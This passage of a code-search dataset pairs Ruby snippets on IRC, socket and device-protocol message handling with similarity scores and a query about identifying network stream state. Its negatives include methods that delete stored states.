RECV_ERR_INVITEONLYCHAN\n ret=on_recv_err_inviteonlychan(msg)\n when RECV_ERR_BANNEDFROMCHAN\n ret=on_recv_err_bannedfromchan(msg)\n when RECV_ERR_BADCHANNELKEY\n ret=on_recv_err_badchannelkey(msg)\n when RECV_ERR_NOPRIVILEGES\n ret=on_recv_err_noprivileges(msg)\n when RECV_ERR_CHANOPRIVSNEEDED\n ret=on_recv_err_chanoprivsneeded(msg)\n when RECV_ERR_CANTKILLSERVER\n ret=on_recv_err_cantkillserver(msg)\n when RECV_ERR_NOOPERHOST\n ret=on_recv_err_nooperhost(msg)\n when RECV_ERR_UMODEUNKNOWNFLAG\n ret=on_recv_err_umodeunknownflag(msg)\n when RECV_ERR_USERSDONTMATCH\n ret=on_recv_err_usersdontmatch(msg)\n when RECV_CMND_UNKNOWN\n ret=on_recv_cmnd_unknown(msg)\n when RECV_CMND_PASS\n ret=on_recv_cmnd_pass(msg)\n when RECV_CMND_NICK\n ret=on_recv_cmnd_nick(msg)\n when RECV_CMND_USER\n ret=on_recv_cmnd_user(msg)\n when RECV_CMND_SERVER\n ret=on_recv_cmnd_server(msg)\n when RECV_CMND_OPER\n ret=on_recv_cmnd_oper(msg)\n when RECV_CMND_QUIT\n ret=on_recv_cmnd_quit(msg)\n when RECV_CMND_SQUIT\n ret=on_recv_cmnd_squit(msg)\n when RECV_CMND_JOIN\n ret=on_recv_cmnd_join(msg)\n when RECV_CMND_PART\n ret=on_recv_cmnd_part(msg)\n when RECV_CMND_MODE\n ret=on_recv_cmnd_mode(msg)\n when RECV_CMND_TOPIC\n ret=on_recv_cmnd_topic(msg)\n when RECV_CMND_NAMES\n ret=on_recv_cmnd_names(msg)\n when RECV_CMND_LIST\n ret=on_recv_cmnd_list(msg)\n when RECV_CMND_INVITE\n ret=on_recv_cmnd_invite(msg)\n when RECV_CMND_KICK\n ret=on_recv_cmnd_kick(msg)\n when RECV_CMND_VERSION\n ret=on_recv_cmnd_version(msg)\n when RECV_CMND_STATAS\n ret=on_recv_cmnd_statas(msg)\n when RECV_CMND_LINK\n ret=on_recv_cmnd_link(msg)\n when RECV_CMND_TIME\n ret=on_recv_cmnd_time(msg)\n when RECV_CMND_CONNECT\n ret=on_recv_cmnd_connect(msg)\n when RECV_CMND_TRACE\n ret=on_recv_cmnd_trace(msg)\n when RECV_CMND_ADMIN\n ret=on_recv_cmnd_admin(msg)\n when RECV_CMND_INFO\n ret=on_recv_cmnd_info(msg)\n when RECV_CMND_PRIVMSG\n ret=on_recv_cmnd_privmsg(msg)\n when RECV_CMND_NOTICE\n ret=on_recv_cmnd_notice(msg)\n when RECV_CMND_WHO\n ret=on_recv_cmnd_who(msg)\n when RECV_CMND_WHOIS\n ret=on_recv_cmnd_whois(msg)\n when RECV_CMND_WHOWAS\n ret=on_recv_cmnd_whowas(msg)\n when RECV_CMND_KILL\n ret=on_recv_cmnd_kill(msg)\n when RECV_CMND_PING\n ret=on_recv_cmnd_ping(msg)\n when RECV_CMND_PONG\n ret=on_recv_cmnd_pong(msg)\n when RECV_CMND_ERROR\n ret=on_recv_cmnd_error(msg)\n when RECV_CMND_AWAY\n ret=on_recv_cmnd_away(msg)\n when RECV_CMND_REHASH\n ret=on_recv_cmnd_rehash(msg)\n when RECV_CMND_RESTART\n ret=on_recv_cmnd_restart(msg)\n when RECV_CMND_SUMMON\n ret=on_recv_cmnd_summon(msg)\n when RECV_CMND_USERS\n ret=on_recv_cmnd_users(msg)\n when RECV_CMND_WALLOPS\n ret=on_recv_cmnd_wallops(msg)\n when RECV_CMND_USERHOST\n ret=on_recv_cmnd_userhost(msg)\n when RECV_CMND_ISON\n ret=on_recv_cmnd_ison(msg)\n when RECV_CMND_CTCP_QUERY\n ret=on_recv_cmnd_ctcp_query(msg)\n when RECV_CMND_CTCP_QUERY_UNKNOWN\n ret=on_recv_cmnd_ctcp_query_unknown(msg)\n when RECV_CMND_CTCP_QUERY_PING\n ret=on_recv_cmnd_ctcp_query_ping(msg)\n when RECV_CMND_CTCP_QUERY_ECHO\n ret=on_recv_cmnd_ctcp_query_echo(msg)\n when RECV_CMND_CTCP_QUERY_TIME\n ret=on_recv_cmnd_ctcp_query_time(msg)\n when RECV_CMND_CTCP_QUERY_VERSION\n ret=on_recv_cmnd_ctcp_query_version(msg)\n when RECV_CMND_CTCP_QUERY_CLIENTINFO\n ret=on_recv_cmnd_ctcp_query_clientinfo(msg)\n when RECV_CMND_CTCP_QUERY_USERINFO\n ret=on_recv_cmnd_ctcp_query_userinfo(msg)\n when RECV_CMND_CTCP_QUERY_ACTION\n ret=on_recv_cmnd_ctcp_query_action(msg)\n when RECV_CMND_CTCP_QUERY_DCC\n ret=on_recv_cmnd_ctcp_query_dcc(msg)\n when RECV_CMND_CTCP_ANSWER\n ret=on_recv_cmnd_ctcp_answer(msg)\n when RECV_CMND_CTCP_ANSWER_UNKNOWN\n ret=on_recv_cmnd_ctcp_answer_unknown(msg)\n when RECV_CMND_CTCP_ANSWER_PING\n ret=on_recv_cmnd_ctcp_answer_ping(msg)\n when RECV_CMND_CTCP_ANSWER_ECHO\n ret=on_recv_cmnd_ctcp_answer_echo(msg)\n when RECV_CMND_CTCP_ANSWER_TIME\n ret=on_recv_cmnd_ctcp_answer_time(msg)\n when RECV_CMND_CTCP_ANSWER_VERSION\n ret=on_recv_cmnd_ctcp_answer_version(msg)\n when RECV_CMND_CTCP_ANSWER_CLIENTINFO\n ret=on_recv_cmnd_ctcp_answer_clientinfo(msg)\n when RECV_CMND_CTCP_ANSWER_USERINFO\n ret=on_recv_cmnd_ctcp_answer_userinfo(msg)\n when RECV_CMND_CTCP_ANSWER_ACTION\n ret=on_recv_cmnd_ctcp_answer_action(msg)\n when RECV_CMND_CTCP_ANSWER_DCC\n ret=on_recv_cmnd_ctcp_answer_dcc(msg)\n else\n ret=default_action(msg)\n end\n\n return ret\n end", "def receive_packet\n\t\treturn parser.recv(self.sock)\n\tend", "def handle_message(message)\n maybe_print(message)\n msg = MessageHandlerMessage.new(message, self)\n route_message(msg)\n rescue => e\n sender = msg.try(:sender) || \"UNKNOWN-SENDER\"\n send_error(sender, e)\n end", "def parse_input_packet\n packet = GoDutch::Packet.new(@payload)\n @command = packet.command\n end", "def on_data(payload)\n # Do stuff with the payload\n Troph::Log.info \"received nomination message: #{payload}\"\n end", "def receive_data(data)\n @idle = false\n trace data\n process if @request.parse(data)\n rescue InvalidRequest => e\n log_error(\"Invalid request\", e)\n post_process Response::BAD_REQUEST\n end", "def handle_incoming_message(data)\n message = parse(data)\n text = message[:text].downcase\n\n if text.include?(\"now playing\") || text.include?(\"coming next\")\n @logger.debug(\"Discarding message #{message}\")\n else\n @logger.debug(\"Keeping message #{message}\")\n # fire on_message callbacks\n notify(:on_message, message)\n # if the is_new? is true then fire on_programme_changed callbacks\n notify(:on_programme_changed, message) if is_new?(message)\n # store the message in the cache\n cache_store(message[:station_id], message)\n end\n end", "def input_thread_step\n case (obj = read_from_wire)\n when Block\n handle_block obj\n when Message\n handle_message obj\n else\n raise \"don't know what to do with #{obj.inspect}\"\n end\n\n ## to enable immediate response, if there are no rate limits,\n ## we'll send the blocks and reqs right here. otherwise, the\n ## controller will call this at intervals.\n send_blocks_and_reqs if @controller.dlratelim.nil? && @controller.ulratelim.nil?\n end", "def handle_message(message_hash)\n socket_id = message_hash[\"socket_id\"]\n message = message_hash[\"message\"]\n type = message[\"type\"]\n\n post(send(type, message_hash))\n end", "def process_data\n raise NotImplementedError\n end", "def handler(sock)\n end", "def global_request(packet); end", "def accept_kexinit(packet); end", "def process_incoming_socket(socket, address)\n input = socket.gets\n server.log.debug(\"Got input: #{input.strip}\")\n run_command(socket, *self.class.parse_command(input))\n socket.close\n end", "def request_success(packet); end", "def handle\n end", "def process_input(line)\n case line\n when /^:((.+?)(?:!.+?)?) INVITE \\S+ :(\\S+)/i\n handle :incoming_invite, $1, $2, $3\n when /^:((.+?)(?:!.+?)?) PRIVMSG (\\S+) :?\\001ACTION (.+?)\\001$/i\n handle :incoming_act, $1, $2, $3, $4\n when /^:((.+?)(?:!.+?)?) PRIVMSG (\\S+?) :?\\001(.+?)\\001$/i\n handle :incoming_ctcp, $1, $2, $3, $4\n when /^:((.+?)(?:!.+?)?) PRIVMSG (\\S+?) :?(.+?)$/i\n handle :incoming_msg, $1, $2, $3, $4\n when /^:((.+?)(?:!.+?)?) NOTICE (\\S+?) :?\\001(.+?)\\001$/i\n handle :incoming_ctcpreply, $1, $2, $3, $4\n when /^:((.+?)(?:!.+?)?) NOTICE (\\S+?) :?(.+?)$/i\n handle :incoming_notice, $1, $2, $3, $4\n when /^:((.+?)(?:!.+?)?) MODE (\\S+?) :?(\\S+?)(?: (.+?))?$/i\n handle :incoming_mode, $1, $2, $3, $4, $5\n when /^:((.+?)(?:!.+?)?) JOIN :?(\\S+?)$/i\n handle :incoming_join, $1, $2, $3\n when /^:((.+?)(?:!.+?)?) PART (\\S+?)(?: :?(\\S+?)?)?$/i\n handle :incoming_part, $1, $2, $3, $4\n when /^:((.+?)(?:!.+?)?) KICK (\\S+?) (\\S+?) :?(.+?)$/i\n handle :incoming_kick, $1, $2, $3, $4, $5\n when /^:((.+?)(?:!.+?)?) QUIT :?(.+?)$/i\n handle :incoming_quit, $1, $2, $3\n when /^:((.+?)(?:!.+?)?) NICK :?(\\S+?)$/i\n handle :incoming_nick, $1, $2, $3\n when /^PING :?(.+?)$/i\n handle :incoming_ping, $1\n when /^:((.+?)(?:!.+?)?) (\\d{3})\\s+(\\S+?) (.+?)$/i\n handle_numeric($3.to_i, $1, $2, $4, $5)\n else\n handle :incoming_miscellany, line\n end\n end", "def received(data, command)\n\t\tlogger.debug \"Extron IPCP sent #{data}\"\n\t\t\n\t\tif command.nil? && data =~ /Copyright/i\n\t\t\tpass = setting(:password)\n\t\t\tif pass.nil?\n\t\t\t\tdevice_ready\n\t\t\telse\n\t\t\t\tdo_send(pass)\t\t# Password set\n\t\t\tend\n\t\telsif data =~ /Login/i\n\t\t\tdevice_ready\n\t\telse\n\t\t\tcase data[0..2].to_sym\n\t\t\twhen :Irs\t# IR Sent\n\t\t\twhen :Cpn\t# IO or Relay\n\t\t\t\tport = data[3..-1].to_i\n\t\t\t\t\n\t\t\t\tdata = data.split(' ')[1]\n\t\t\t\tcase data[0..2]\n\t\t\t\twhen 'Iom'\t# IO mode\n\t\t\t\t\tdata = data[3..-1].split(',')\n\t\t\t\t\tself[\"IO#{port}_mode\"] = data[0].to_i\n\t\t\t\t\tif data.length > 1\n\t\t\t\t\t\tself[\"IO#{port}_upper\"] = data[1].to_i\n\t\t\t\t\t\tself[\"IO#{port}_lower\"] = data[2].to_i\n\t\t\t\t\tend\n\t\t\t\twhen 'Sio'\n\t\t\t\t\tself[\"IO#{port}\"] = data[3..-1].to_i\n\t\t\t\t\t\n\t\t\t\twhen 'Rly'\t\t\t\t\t\t# Relay\n\t\t\t\t\tself[\"relay#{port}\"] = data[3..-1].to_i == 1\n\t\t\t\t\t\n\t\t\t\tend\n\t\t\twhen :Dcp\t# Power\n\t\t\t\tdata = data.split('*')\n\t\t\t\tport = data[0][5..-1].to_i\n\t\t\t\tself[\"power#{port}\"] = data[1] == '1'\n\t\t\telse\n\t\t\t\tif data == 'E22'\t# Busy! We should retry this one\n\t\t\t\t\tsleep(1)\n\t\t\t\t\treturn :failed\n\t\t\t\telsif data[0] == 'E'\n\t\t\t\t\tlogger.info \"Extron Error #{ERRORS[data[1..2].to_i]}\"\n\t\t\t\t\tlogger.info \"- for command #{command[:data]}\" unless command.nil?\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn :success\n\tend", "def receive_binary_data data\n # no-op\n end", "def handleRequest\n loop{\n puts \"User Session Listening\"\n clientMessage = @SocketHandle.gets\n clientMessage.chomp!\n \n case clientMessage\n \n when /viewall/i \n viewAllEvents\n \n when /bookevent/i\n spl = clientMessage.split\n eventid = spl[1] \n qty = spl[2] \n bookEvent @UserID, eventid, qty\n\n when /help/i\n helpCommand\n\n else \n errorCommand\n \n end \n }\n end", "def handle_message(event)\n sender = @users[event['sender']]\n timestamp = event['origin_server_ts'] || Time.now.to_i\n content = event['content']\n message = Message.new sender, timestamp, content\n broadcast(:message, @room, message)\n Events.processed event\n end", "def process_request(request, body, socket)\n raise \"You must implement process_request\"\n end", "def enqueue_packet(payload); end", "def handle_message(request, message)\n #\n end", "def handle_server_input(s)\n s.chomp!(\"\\n\")\n s.chomp!(\"\\r\")\n\n case s\n when /^PING :(.+)$/i\n # Respond to a server ping\n source = Source.new($1)\n message = Message.new(source, nil, 'PING', [ ])\n @callbacks.call('PING', message)\n\n when /^:(.+?)\\s+PRIVMSG\\s+(.+?)\\s+:?[\\001](.+?)(\\s+.+)?[\\001]$/i\n # CTCP message\n source = Source.new($1)\n dest = $2\n msg = $3.upcase\n arg = $4 ? $4.strip : nil\n message = Message.new(source, dest, msg, [ arg ])\n @ctcp_callbacks.call(msg, message)\n\n when /^:(.+?)\\s+(.+?)\\s+(.*)/\n # Server message\n source = Source.new($1)\n msg = $2.upcase\n args = parse_args($3)\n dest = args[0]\n message = Message.new(source, dest, msg, args)\n @callbacks.call(msg, message)\n end\n end", "def dispatch_event(data)\n puts \"Event Dispatcher Invoked\"\n \n unless !data.has_key? \"type\"\n puts \"message type #{data['type'].to_s}\"\n \n # switch event action based on message type\n case data['type']\n when \"register\"\n puts \"user wishes to register. check auth_key first\"\n self.register(data)\n when \"subscribe\"\n puts \"user wishes to subscribe to a channel\"\n self.subscribe(data)\n when \"message\"\n # message: to:channel,from:uuid,type:message,text:message,visibility:private\n puts \"user wishes to send a message\"\n end\n \n else\n # if the socket is connected but no post_init data was sent\n # then we want to kill the connection, since this is probably an unauthorized\n # user....\n \n puts \"data doesn't have key type\"\n self.close_connection_after_writing\n end\n \n end", "def handle(context)\n \n # Notify all connection listeners by calling their on_server_response method.\n super(context)\n \n # Notify all connection listeners by calling their on_ping method.\n notify(context) do |connection_listener| \n connection_listener.on_ping(context, servers)\n end\n\n end", "def packets; end", "def handle_tcp_input\n while line = @ref_client.gets\n input = self.parse_command(line)\n #Match on command and perform actions\n case input[:command]\n when \"round\"\n #Add a new round to the rounds array when a round starts\n if input[:value][0] == \"start\"\n @rounds.push({\n \"results\": {},\n \"moves\": [],\n \"info\": input[:value][1],\n })\n end\n when \"roundresult\"\n @rounds.last[:results][input[:value][0]] = {\n \"result\": input[:value][1],\n \"score\": input[:value][2],\n }\n when \"matchresult\"\n @match[input[:value][0]] = {\n \"result\": input[:value][1],\n \"score\": input[:value][2],\n }\n when \"move\"\n # Add move to current round\n @rounds.last[:moves].push({\n \"description\": input[:value][0],\n \"data\": input[:value][1],\n })\n when \"gamestate\"\n #Ignore game state\n lastmove = @rounds.last[:moves].last\n #Ignore game state if there aren't any moves\n if lastmove.nil?\n break\n end\n lastmove[:gamestate] = input[:value]\n end\n end\n @status[:error] = false\n end", "def received message, headers={}\n end", "def handle_io_event( io, event )\n\t\tcase event\n\n\t\twhen :error\n\t\t\[email protected]_user( self )\n\n\t\twhen :read\n\t\t\tinput = self.read_input\n\t\t\[email protected]_input( self, *input ) unless input.empty?\n\n\t\twhen :write\n\t\t\tbytes_left = self.write_output\n\t\t\[email protected]_events( @socket, :write ) if bytes_left.zero?\n\n\t\tend\n\n\tend" ]
[ "0.722283", "0.717477", "0.6516462", "0.6402768", "0.6332344", "0.6320425", "0.6203065", "0.61291564", "0.61185133", "0.6096709", "0.6069891", "0.6041931", "0.5996417", "0.59771067", "0.5944253", "0.5910182", "0.58927655", "0.58531326", "0.5831442", "0.5829273", "0.5800635", "0.5756401", "0.5732616", "0.5730631", "0.5718815", "0.57094175", "0.568614", "0.56657135", "0.5655799", "0.5613366", "0.55929995", "0.5572642", "0.5572642", "0.5553466", "0.5521888", "0.55212003", "0.5494393", "0.54888505", "0.54695404", "0.5461423", "0.54498756", "0.5441727", "0.5429957", "0.54140633", "0.5412101", "0.5404995", "0.53818035", "0.53789186", "0.5376782", "0.5376188", "0.5353121", "0.53520846", "0.5336649", "0.53345454", "0.5317694", "0.5303282", "0.52897197", "0.52617025", "0.5261095", "0.52492434", "0.5245512", "0.5243485", "0.5240737", "0.5239051", "0.5232046", "0.52198285", "0.5213125", "0.5199676", "0.5189559", "0.51851296", "0.5180025", "0.51779914", "0.5177744", "0.5171762", "0.5161729", "0.515344", "0.5145773", "0.5142914", "0.51399314", "0.51344347", "0.51157963", "0.511092", "0.5110732", "0.51106685", "0.51063955", "0.5103922", "0.5097615", "0.5096095", "0.5091286", "0.50860673", "0.5083281", "0.5081228", "0.5066679", "0.5066485", "0.5065674", "0.5065091", "0.50632405", "0.5061322", "0.5060489", "0.5059213", "0.5054182" ]
0.0
-1
Identify if this is a new stream or part of one that exists
def identify_state(pkt, type, make_state = true) # Create the id tuple (assumes TCP or UDP currently) s_ip, d_ip, sport, dport = pkt.src.to_i, pkt.dst.to_i, pkt.sport, pkt.dport # Make sure the same state is identified regarless of direction if s_ip > d_ip s_ip, d_ip, sport, dport = d_ip, s_ip, dport, sport end id = [ s_ip, d_ip, type, sport, dport ] # Existing state? state = @states[id] if state state.last_seen = pkt.time state.pkt = pkt end return state if state # New state state = StreamState.new(*id) @states[id] = state if make_state #$stderr.print "States: #{@states.length} " if make_state state.last_seen = pkt.time state.pkt = pkt state end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def stream?\n return false\n end", "def stream?\n !!@stream\n end", "def stream?\n !!@stream\n end", "def stream?\n @stream\n end", "def stream?\n @stream\n end", "def streaming?\n !stream.nil?\n end", "def declared_stream?(index)\n\t @streams && (@streams.size > index && @streams[index]) \n\tend", "def assert_has_stream(stream); end", "def stream?\n @generator.stream?\n end", "def stream?(ref)\n obj, stream = @xref.object(ref)\n stream ? true : false\n end", "def has_stream?(name)\n !!stream(name)\n rescue ArgumentError\n end", "def other?\n @streams.any? { |stream| stream.is_a? OtherStream }\n end", "def streaming?\n @descriptive_detail.streaming?\n end", "def streamable?\n streamable\n end", "def has_stream_of( type )\n has = false\n streams.each do |stream| has = true if stream.type == type end\n return has\n end", "def assert_has_stream_for(object); end", "def stream_has_data(stream_name)\n # V1 of data streaming - use a local file\n return File.exist?(self.stream_location(stream_name))\n end", "def ==(other)\n stream == other.stream\n end", "def applies_to_stream?(target_stream)\n @stream == :all ||\n (target_stream.nil? && @stream == :default) ||\n target_stream == @stream\n end", "def general?\n @streams.any? { |stream| stream.is_a? GeneralStream }\n end", "def supports_streaming?; end", "def stream_is_done?\n @stream.nil? || @stream.closed? || @stream.eof?\n end", "def end_of_stream?\n @next_chunk.nil?\n end", "def good?\n\t\t\t\t\[email protected]?\n\t\t\t\tend", "def new_msg?\n msg && !event[:subtype]\n end", "def debug_stream?\n @debug_stream\n end", "def debug_stream?\n @debug_stream\n end", "def connected?\n\t\t\t\t\t\t@stream&.connected?\n\t\t\t\t\tend", "def reading?\n status.received?\n end", "def received?\n status.received? || status.read?\n end", "def new_file?\n @new_file\n end", "def wp_is_stream( path )\n return false unless path.include?('://') # path isn't a stream\n\n scheme_separator = path.index('://')\n\n stream = path.slice(0, scheme_separator)\n Railspress::PHP.stream_get_wrappers.include? stream\n end", "def assert_has_stream(stream)\n assert subscription.streams.include?(stream), \"Stream #{stream} has not been started\"\n end", "def compare_stream(a, b)\r\n bsize = fu_stream_blksize(a, b)\r\n sa = sb = nil\r\n while sa == sb\r\n sa = a.read(bsize)\r\n sb = b.read(bsize)\r\n unless sa and sb\r\n if sa.nil? and sb.nil?\r\n return true\r\n end\r\n end\r\n end\r\n false\r\n end", "def closed_read?() end", "def closed_read?()\n #This is a stub, used for indexing\n end", "def opened?\n !closed?\n end", "def viable?\n\t\t\t\t\t\t@ready && @stream&.connected?\n\t\t\t\t\tend", "def eof?\n @stream.eof?\n end", "def assert_has_stream_for(object)\n assert_has_stream(broadcasting_for(object))\n end", "def open?\n @data_bytes[1] != 0\n end", "def pending_write?\n output.length > 0\n end", "def read?\n status.read?\n end", "def following_stream?(stream)\n return favorites.streams.pluck(:favable_id).include?(stream.id)\n end", "def new?\n @type == 'NEW'\n end", "def other\n @streams.select { |stream| stream.is_a? OtherStream }\n end", "def new_file?\n\t\t@filelineno == 1\n\tend", "def stream_exists?(name)\n return true unless zfind(name).nil?\n\n begin\n kinesis.describe_stream(stream_name: name)\n true\n rescue Aws::Kinesis::Errors::ResourceNotFoundException\n false\n end\n end", "def closed_read?\n end", "def change_stream_resumable?\n if @result && @result.is_a?(Mongo::Operation::GetMore::Result)\n # CursorNotFound exceptions are always resumable because the server\n # is not aware of the cursor id, and thus cannot determine if\n # the cursor is a change stream and cannot add the\n # ResumableChangeStreamError label.\n return true if code == 43\n\n # Connection description is not populated for unacknowledged writes.\n if connection_description.max_wire_version >= 9\n label?('ResumableChangeStreamError')\n else\n change_stream_resumable_code?\n end\n else\n false\n end\n end", "def kind_of? mod\n mod == IO or super\n end", "def allow_streaming_of?(media_object_id)\n allow_streaming? && active? && self.media_object_id == media_object_id\n end", "def open?\n !(closed?)\n end", "def readable_after_eof?\n true\n end", "def readable_after_eof?\n true\n end", "def readable_after_eof?\n true\n end", "def opened?\n @opened\n end", "def is_new?\n\t\t\treturn false if [email protected]?\n\t\t\tif Episodey::DB::MediaSet.find_by_u_id(@u_id)\n\t\t\t\treturn false\n\t\t\tend\n\n\t\t\treturn true\n\t\tend", "def changed?\n head.nil? or head.id != read_head_id\n end", "def is_type?\n !self.output_buffer.nil?\n end", "def readable?\n (events & ZMQ::POLLIN) == ZMQ::POLLIN\n end", "def open?\n !closed?\n end", "def open?\n !closed?\n end", "def new?\n blob.id.nil?\n end", "def readable_after_eof?\n false\n end", "def readable_after_eof?\n false\n end", "def opening?\n !(open? || closed?)\n end", "def supports_streaming?\n handler.respond_to?(:supports_streaming?) && handler.supports_streaming?\n end", "def readable_after_eof?\n true\n end", "def readable_after_eof?\n true\n end", "def readable_after_eof?\n true\n end", "def readable_after_eof?\n true\n end", "def readable_after_eof?\n true\n end", "def has_been_read?\n @data_read\n end", "def changed?\n !head || head.id != read_head_id\n end", "def read?\n not write?\n end", "def open?\n !closed?\n end", "def start\n super\n send(generate_stream_start(@jid.domain)) { |e|\n if e.name == 'stream'\n true\n else\n false\n end\n }\n end", "def read?\n self.status == 'read'\n end", "def closed_write?()\n #This is a stub, used for indexing\n end", "def in_play?\n started? || in_progress?\n end", "def started?\n @state != :created\n end", "def eof?\n return @stream.eof?\n end", "def open?\n is_open\n end", "def new_record?\n !@exists && ldp_source.new?\n end", "def text?\n @streams.any? { |stream| stream.is_a? TextStream }\n end", "def general\n @streams.select { |stream| stream.is_a? GeneralStream }\n end", "def read?\n [email protected]?\n end", "def same_stream(row,stream)\n stream && row['raw_ip_incoming'] == stream.raw_ip_incoming && row['raw_ip_outgoing'] == stream.raw_ip_outgoing\nend", "def refute_have_streamed(cmd, configuration, msg = nil)\n msg ||= \"Expected configuration to not stream #{cmd}, but did\"\n assert_nil configuration.streams[cmd], msg\n end", "def is_open?\n\t\treturn !!@open\n\tend", "def read?\n !(%w(seen read) & flags).empty?\n end", "def closed_write?\n end", "def open?\n type == 'open'\n end", "def stream?(entry_group)\n # if any entry_group has chunks left, this is a folder\n entry_group.select { |entry|\n !entry[:chunks].empty?\n }.count.zero?\n end", "def open?\n return @opened\n end", "def closed?\n stream = @_st_stream\n if stream._equal?(nil)\n true\n else\n stream.closed?\n end\n end", "def compare_stream(a, b)\n bsize = fu_stream_blksize(a, b)\n\n sa = String.new(capacity: bsize)\n sb = String.new(capacity: bsize)\n\n begin\n a.read(bsize, sa)\n b.read(bsize, sb)\n return true if sa.empty? && sb.empty?\n end while sa == sb\n false\n end", "def finishable?\n self.status == STATUS_PUBLISHED\n end", "def journal?\n copies.any?(&:journal?)\n end", "def eof?\n stream = @_st_stream\n stream and stream.eof?\n end" ]
[ "0.71916246", "0.7118464", "0.7118464", "0.6946211", "0.6946211", "0.6738565", "0.66923714", "0.6683005", "0.6583282", "0.6457821", "0.6413664", "0.6386765", "0.6381043", "0.63544476", "0.62808883", "0.6273944", "0.61971295", "0.6083237", "0.60686564", "0.60528374", "0.6043289", "0.59963536", "0.5951059", "0.595034", "0.5947523", "0.5875071", "0.5875071", "0.58558875", "0.58373845", "0.57666296", "0.57509637", "0.5725483", "0.57154936", "0.5649394", "0.56446075", "0.5637659", "0.5619587", "0.559482", "0.55848134", "0.5579203", "0.557774", "0.55738515", "0.55551875", "0.5542201", "0.55298156", "0.5488195", "0.5483182", "0.54816794", "0.54797167", "0.54556084", "0.54548013", "0.542842", "0.54275465", "0.5422356", "0.5422356", "0.5422356", "0.54168683", "0.5414644", "0.5403054", "0.54003567", "0.53995115", "0.53915167", "0.53915167", "0.5390814", "0.5390089", "0.5390089", "0.5388181", "0.5383", "0.5378046", "0.5378046", "0.5378046", "0.5378046", "0.5378046", "0.5377878", "0.5376269", "0.5373612", "0.53720486", "0.53674245", "0.5337808", "0.532834", "0.5328201", "0.53221166", "0.53217435", "0.5314679", "0.5302735", "0.53009087", "0.5295841", "0.5295603", "0.5286687", "0.5281239", "0.5279311", "0.52701175", "0.52643806", "0.5260889", "0.52591336", "0.52514136", "0.5244684", "0.52445424", "0.5243844", "0.52427053", "0.5239372" ]
0.0
-1
Delete an existing state
def delete_state(state) @states.reject! { |_,v| v == state } #$stderr.print "States: #{@states.length} " end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete_state(state)\n states.remove(state)\n end", "def destroy\n @state.destroy\n end", "def destroy\n @state.destroy\n end", "def delete_state(node)\n # => Find the Node\n existing = find_state(node)\n return 'Node not present in state' unless existing\n # => Delete the Node from State\n state.delete(existing)\n # => Write Out the Updated State\n write_state\n # => Return the Deleted Node\n existing\n end", "def destroy\n @state = State.find(params[:id])\n @state.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_states_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n\t\n\tputs params[:id]\n \n state = State.find(params[:id])\n\t\n\tputs state\n\t\n state.destroy \n\t\n redirect_to(:action => \"index\") \n end", "def erase_state(state_id)\n super\n check_state_remove_effects(state_id)\n end", "def destroy\n @state = State.find(params[:id])\n @state.destroy\n\n respond_to do |format|\n format.html { redirect_to states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @state = State.find(params[:id])\n @state.destroy\n\n respond_to do |format|\n format.html { redirect_to states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @state = State.find(params[:id])\n @state.destroy\n\n respond_to do |format|\n format.html { redirect_to(states_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @state.destroy\n respond_to do |format|\n format.html { redirect_to states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t@state = State.find(params[:id])\n if @state.destroy\n \tflash[:success] = \"Record destroyed\"\n \tredirect_to states_path\n else\n \tflash[:error] = \"Record not destroyed\"\n end\n\tend", "def destroy\n @state.destroy\n respond_to do |format|\n format.html { redirect_to states_url, notice: 'State was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @state.destroy\n respond_to do |format|\n format.html { redirect_to states_url, notice: 'State was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n \"#{@states_assign.assigned_to}StateMachine\".constantize.states.delete(@states_assign.state.name)\n @states_assign.destroy\n\n puts '##############################'\n puts LeadStateMachine.states\n puts '##############################'\n\n respond_to do |format|\n format.html { redirect_to states_assigns_url, notice: 'State was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cultural_heritage_collection_state = CulturalHeritage::CollectionState.find(params[:id])\n @cultural_heritage_collection_state.deleted = 1\n @cultural_heritage_collection_state.save\n\n respond_to do |format|\n format.html { redirect_to(cultural_heritage_collection_states_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @action_state.destroy\n respond_to do |format|\n format.html { redirect_to project, notice: 'Action state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @map_state = MapState.find(params[:id])\n @map_state.destroy\n\n respond_to do |format|\n format.html { redirect_to map_states_url }\n format.json { head :ok }\n end\n end", "def destroy\n @psa_state = PsaState.find(params[:id])\n @psa_state.destroy\n\n respond_to do |format|\n format.html { redirect_to psa_states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @state = @country.states.find(params[:id])\n @state.destroy\n\n respond_to do |format|\n format.html { redirect_to(country_states_url(@country)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tutorial_state = Tutorial::State.find(params[:id])\n @tutorial_state.destroy\n\n respond_to do |format|\n format.html { redirect_to tutorial_states_url }\n format.json { head :ok }\n end\n end", "def remove_state(state)\n self.from(state).each { |transition| remove(transition) }\n self.to(state).each { |transition| remove(transition) }\n self.states.delete(state)\n end", "def destroy\n @task_state.destroy\n respond_to do |format|\n format.html { redirect_to task_states_url, success: 'Task state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @project_state.destroy\n head :no_content\n end", "def destroy\n @goal_state = GoalState.find(params[:id])\n @goal_state.destroy\n\n respond_to do |format|\n format.html { redirect_to goal_states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_state.destroy\n\n head :no_content\n end", "def destroy\n @civil_state = CivilState.find(params[:id])\n @civil_state.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_civil_states_url) }\n format.xml { head :ok }\n end\n end", "def delete(query)\n @index.query(Query.new(string: query)).each do |state|\n @index.on_state_change(\n state,\n State.new(\n host: state.host,\n service: state.service,\n state: 'unknown',\n description: \"ustate has not heard from this service since #{Time.at(state.time)}\",\n time: Time.now.to_i\n )\n )\n @index.delete 